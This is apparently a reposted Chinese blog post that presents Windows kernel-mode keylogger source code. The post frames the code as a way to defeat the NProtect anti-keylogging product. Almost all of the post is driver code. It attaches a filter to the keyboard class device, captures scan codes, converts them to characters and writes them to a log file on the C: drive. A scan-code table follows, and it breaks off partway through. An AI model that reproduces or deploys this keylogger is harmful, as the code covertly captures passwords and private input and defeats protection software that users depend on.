看棒子不順眼，破解NProtect，鍵盤驅動級擷取鍵盤記錄
分享一下我老師大神的人工智慧教程！零基礎，通俗易懂！http://blog.csdn.net/jiangjunshow
也歡迎大家轉載本篇文章。分享知識，造福人民，實現我們中華民族偉大復興！
NProtect，是用驅動載入進入ring0級別，每個程序注入一個鉤子，
用鍵盤中斷技術寫的一個鉤子，
本人就用驅動對付他，
廢話少說，看程式碼，
//#include <ntddk.h>
#include "kbhook.h"
#include "ScanCode.h"
#include <windef.h>
int numPendingIrps=0;
//
//ICTOL 以及控制裝置的相關變數
//
#define IOCTL_PASSPROCESSID /
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
UNICODE_STRING devNameUnicd;
UNICODE_STRING devLinkUnicd;
PDEVICE_OBJECT pDevice; //控制裝置的裝置物件
NTSTATUS DeviceIoControlDispatch(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp); //DeviceIoControl的處理函式
VOID OnUnload( IN PDRIVER_OBJECT theDriverObject )
{
KTIMER kTimer;
LARGE_INTEGER timeout;
PDEVICE_EXTENSION pKeyboradDeviceExtension;
pKeyboradDeviceExtension=(PDEVICE_EXTENSION) theDriverObject->DeviceObject->DeviceExtension;
IoDetachDevice(pKeyboradDeviceExtension->pKeyboardDevice);
timeout.QuadPart=1000000;//1s
KeInitializeTimer(&kTimer);
while(numPendingIrps > 0)
{
KeSetTimer(&kTimer,timeout,NULL);
KeWaitForSingleObject(&kTimer,Executive,KernelMode,FALSE,NULL);
}
pKeyboradDeviceExtension->bThreadTerminate=TRUE;
KeReleaseSemaphore(&pKeyboradDeviceExtension->semQueue,0,1,TRUE);//讓獨立的記錄執行緒獲得執行機會
KeWaitForSingleObject(pKeyboradDeviceExtension->pThreadObject,
Executive,KernelMode,FALSE,NULL); //結束獨立的記錄執行緒
ZwClose(pKeyboradDeviceExtension->hLogFile); //關閉檔案控制代碼
IoDeleteDevice(theDriverObject->DeviceObject); //刪除裝置物件
IoDeleteSymbolicLink(&devLinkUnicd);
IoDeleteDevice(pDevice);
DbgPrint("My Driver Unloaded!");
return;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,IN PUNICODE_STRING RegistryPath)
{
NTSTATUS status={0};
int i;
PDEVICE_EXTENSION pKeyboardDeviceExtension;
IO_STATUS_BLOCK file_status;
OBJECT_ATTRIBUTES obj_attrib;
CCHAR ntNameFile[100]="//DosDevices//c://kbhook.txt";
STRING ntNameString;
UNICODE_STRING uFileName;
for( i=0 ; i < IRP_MJ_MAXIMUM_FUNCTION;i++)
theDriverObject->MajorFunction[i] = DispatchPassDown;
theDriverObject->MajorFunction[IRP_MJ_READ]=DispatchRead;
HookKeyboard(theDriverObject);
//建立一個執行緒用來記錄鍵盤動作
InitThreadKeyLogger(theDriverObject);
/////////////////////////////////////////////////////////////////////////////////////////////
////////初始化一個旋轉鎖來訪問連結串列///////////////////////////////////////////////////////////////
pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDriverObject->DeviceObject->DeviceExtension;
InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);
KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);
KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue,0,MAXLONG);
////////////建立一個紀錄檔案///////////////////////////////////////////////////////////////////////
RtlInitAnsiString(&ntNameString,ntNameFile);
RtlAnsiStringToUnicodeString(&uFileName,&ntNameString,TRUE);
InitializeObjectAttributes(&obj_attrib,&uFileName,
OBJ_CASE_INSENSITIVE,
NULL,NULL);
status=ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,
GENERIC_WRITE,
&obj_attrib,
&file_status,
NULL,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
RtlFreeUnicodeString(&uFileName);
theDriverObject->DriverUnload=OnUnload;
//NTSTATUS Status;
//PDEVICE_OBJECT pDevice;
RtlInitUnicodeString(&devNameUnicd,L"//Device//PANZER3");
RtlInitUnicodeString(&devLinkUnicd,L"//??//PANZER3");
status=IoCreateDevice(theDriverObject,0,&devNameUnicd,FILE_DEVICE_UNKNOWN,
0,FALSE,&pDevice);
if(!NT_SUCCESS(status))
{
DbgPrint(("Can not create device./n"));
return status;
}
status=IoCreateSymbolicLink(&devLinkUnicd,&devNameUnicd);
if(!NT_SUCCESS(status))
{
DbgPrint(("Can not create device.SymbolicLink/n"));
return status;
}
theDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]=
theDriverObject->MajorFunction[IRP_MJ_CREATE]=
theDriverObject->MajorFunction[IRP_MJ_CLOSE]= DeviceIoControlDispatch;
DbgPrint("Create Control Driver ! address=%p = %x", pDevice,pDevice);
return STATUS_SUCCESS;
}
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT theDriverObject)
{ ///IRQL = passive level
//建立過濾驅動物件
PDEVICE_EXTENSION pKeyboardDeviceExtension;
PDEVICE_OBJECT pKeyboardDeviceObject;
CCHAR ntNameBuffer[50]="//Device//keyboardClass0";
STRING ntNameString;
UNICODE_STRING uKeyboardDevice;
NTSTATUS status=IoCreateDevice(theDriverObject,
sizeof(DEVICE_EXTENSION),
NULL,
FILE_DEVICE_KEYBOARD, //★注意這裡
0,
TRUE,
&pKeyboardDeviceObject);
if(!NT_SUCCESS(status))
return status;
/////////// 設定新裝置的標誌與地層鍵盤裝置標記相同
pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags|DO_BUFFERED_IO |DO_POWER_PAGABLE ;
pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags &~DO_DEVICE_INITIALIZING;
//在DriverEntry例程中建立的裝置物件，並不需要必須清除DO_DEVICE_INITIALIZING標識，這是因為這個工作將會由I/O管理器自動完成。
//然而，如果建立了其它裝置物件，則需要進行該清除工作。
//對DEVICE_EXTENSION結構清0
RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension,sizeof(DEVICE_EXTENSION));
pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
/////把keyboardClass0轉換成一個UNICODE字串//////////////////////////////////////////////////////////
RtlInitAnsiString(&ntNameString,ntNameBuffer);
RtlAnsiStringToUnicodeString(&uKeyboardDevice,&ntNameString,TRUE);
//準備工作完成後放置過濾鉤子
IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDevice,
&pKeyboardDeviceExtension->pKeyboardDevice);
RtlFreeUnicodeString(&uKeyboardDevice);
return STATUS_SUCCESS;
}
NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT theDriverObject)
{// IRQL = passive level
PDEVICE_EXTENSION pKeyboardDeviceExtension;
HANDLE hThread;
NTSTATUS status;
pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDriverObject->DeviceObject->DeviceExtension;
//////////////////////設定執行緒狀態////////////////////////////////////
pKeyboardDeviceExtension->bThreadTerminate=FALSE;
////////////建立一個執行緒用來記錄////////////////////////////////////////
status=PsCreateSystemThread(&hThread,
(ACCESS_MASK)0,
NULL,
(HANDLE)0,
NULL,
ThreadKeyLogger,
pKeyboardDeviceExtension);
if(!NT_SUCCESS(status))
return status;
///////////////////////////轉換儲存指向執行緒物件的指標////////////////////////
ObReferenceObjectByHandle(hThread,
THREAD_ALL_ACCESS,
NULL,
KernelMode,
(PVOID*)&pKeyboardDeviceExtension->pThreadObject,
NULL);
ZwClose(hThread);
return status;
}
NTSTATUS DispatchPassDown(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp)
{ // IRQL = passive level
IoSkipCurrentIrpStackLocation(pIrp);
return IoCallDriver(((PDEVICE_EXTENSION) theDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);
}
NTSTATUS DispatchRead(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp)
{ // IRQL = DISPATCH_LEVEL
IoCopyCurrentIrpStackLocationToNext(pIrp);
IoSetCompletionRoutine(pIrp,
OnReadCompletion,
theDeviceObject,
TRUE,
TRUE,
TRUE);
numPendingIrps++; //紀錄掛起的irp數目
return IoCallDriver(((PDEVICE_EXTENSION)theDeviceObject->DeviceExtension)->pKeyboardDevice,pIrp);
}
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp,IN PVOID Context)
{// IRQL = DISPATCH_LEVEL
PKEYBOARD_INPUT_DATA keys;
int numKeys;
int i;
KEY_DATA* kData;
PDEVICE_EXTENSION pKeyboardDeviceExtension;
pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDeviceObject->DeviceExtension;
if(pIrp->IoStatus.Status==STATUS_SUCCESS)
{
keys=(PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
numKeys=pIrp->IoStatus.Information/sizeof(KEYBOARD_INPUT_DATA);
for( i=0;i<numKeys;i++)
{
if(keys[i].Flags==KEY_MAKE)
DbgPrint("%s/n","Key Down,IrpCallBack FUN");
kData=(KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
kData->KeyData=(char)keys[i].MakeCode;
kData->KeyFlags=(char)keys[i].Flags;
/////////建立一個連結串列將擊鍵動作傳遞給worker執行緒/////////////////////////////////////
ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,
&kData->ListEntry,
&pKeyboardDeviceExtension->lockQueue); //★注意同步
KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,FALSE);
}
}
if(pIrp->PendingReturned)
IoMarkIrpPending(pIrp);
numPendingIrps--;
return pIrp->IoStatus.Status;
}
VOID ThreadKeyLogger(IN PVOID pContext)
{// IRQL = passive level
PDEVICE_OBJECT pKeyboardDeviceObject;
PDEVICE_EXTENSION pKeyboardDeviceExtension;
PLIST_ENTRY pListEntry;
KEY_DATA* kData;
char keys[3]={0};
pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pContext;
pKeyboardDeviceObject=pKeyboardDeviceExtension->pKeyboardDevice;
//等待訊號量，若訊號量遞增，則繼續執行處理迴圈
while(TRUE)
{
KeWaitForSingleObject(
&pKeyboardDeviceExtension->semQueue,
Executive,
KernelMode,
FALSE,
NULL);
//在連結串列中安全刪除了最高頂端//
pListEntry=ExInterlockedRemoveHeadList(&pKeyboardDeviceExtension->QueueListHead,
&pKeyboardDeviceExtension->lockQueue);
if(pKeyboardDeviceExtension->bThreadTerminate==TRUE)
{
PsTerminateSystemThread(STATUS_SUCCESS);
}
kData=CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);
ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keys);
ExFreePool(kData); //刪除記憶體
if(keys!=0)
{
if(pKeyboardDeviceExtension->hLogFile!=NULL)
{
IO_STATUS_BLOCK io_status;
NTSTATUS status;
status=ZwWriteFile(
pKeyboardDeviceExtension->hLogFile,
NULL,
NULL,
NULL,
&io_status,
&keys,
strlen(keys),
NULL,
NULL);
if(status!=STATUS_SUCCESS)
DbgPrint("write code to file fail!");
}
}
}
return;
}
//////////ConvertScanCodeToKeyCode 函式用來轉換接受的擊鍵碼
//
//控制裝置的IOControl函式
//
NTSTATUS DeviceIoControlDispatch(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp)
{
PIO_STACK_LOCATION irpStack;
NTSTATUS Status;
PVOID InPutBuffer;
ULONG ioControlCode;
ULONG OutPutLen;
PEPROCESS Process;
ULONG IOPL = 1;
HANDLE hProc;
HANDLE *pBuff = NULL;
Status=STATUS_SUCCESS;
if(pDeviceObject != pDevice)
{
DbgPrint("keyboard filter!");
IoSkipCurrentIrpStackLocation(pIrp);
return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);
}
irpStack=IoGetCurrentIrpStackLocation(pIrp);
ioControlCode=irpStack->Parameters.DeviceIoControl.IoControlCode;
switch(irpStack->MajorFunction)
{
case IRP_MJ_CREATE:
DbgPrint("Call IRP_MJ_CREATE/n");
break;
case IRP_MJ_CLOSE:
DbgPrint("Call IRP_MJ_CLOSE/n");
break;
case IRP_MJ_DEVICE_CONTROL:
OutPutLen=irpStack->Parameters.DeviceIoControl.OutputBufferLength;
switch(ioControlCode)
{
case IOCTL_PASSPROCESSID:
{
/*_asm
{
mov dx, 0x64
mov al, 0xFE
out dx, al
}*/
DbgPrint("ioControlCode/n");
}
break;
default:
break;
}
break;
default:
DbgPrint("no match control/n");
break;
}
pIrp->IoStatus.Status = Status;
pIrp->IoStatus.Information = 0;
IoCompleteRequest (pIrp, IO_NO_INCREMENT);
return Status;
}
#include "ntddk.h"
#include "ntddkbd.h"
#include "kbhook.h"
#include "ScanCode.h"
#define INVALID 0X00 //scan code not supported by this driver
#define SPACE 0X01 //space bar
#define ENTER 0X02 //enter key
#define LSHIFT 0x03 //left shift key
#define RSHIFT 0x04 //right shift key
#define CTRL 0x05 //control key
#define ALT 0x06 //alt key
char KeyMap[84] = {
INVALID, //0
INVALID, //1
'1', //2
'2', //3
'3', //4
'4', //5
'5', //6
'6', //7
'7', //8
'8', //9
'9', //A
'0', //B
'-', //C
'=', //D
INVALID, //E
INVALID, //F
'q', //10
'w', //11
'e', //12
'r', //13
't', //14
'y', //15
'u', //16
'i', //17
'o', //18
'p', //19
'[', //1A
']', //1B
ENTER, //1C
CTRL, //1D
'a', //1E
's', //1F
'd', //20
'f', //21
'g', //22
'h', //23
'j', //24
'k', //25
'l', //26
';', //27
'/'', //28
'`', //29
LSHIFT, //2A
'//', //2B
'z', //2C
'x', //2D
'c', //2E
'v', //2F
'b', //30
'n', //31
'm' , //32
',', //33
'.', //34
'/', //35
RSHIFT, //36
INVALID, //37
ALT, //38
SPACE, //39
INVALID, //3A
INVALID, //3B
INVALID, //3C
INVALID, //3D
INVALID, //3E
INVALID, //3F
INVALID, //40
INVALID, //41
INVALID, //42
INVALID, //43
INVALID, //44
INVALID, //45
INVALID, //46
'7', //47
'8', //48
'9', //49
INVALID, //4A
'4', //4B
'5', //4C
'6', //4D
INVALID, //4E
'1', //4F
'2', //50
'3', //51
'0', //52
};
int flag; //CAP STATUS
char ExtendedKeyMap[84] = {
INVALID, //0
INVALID, //1
'!', //2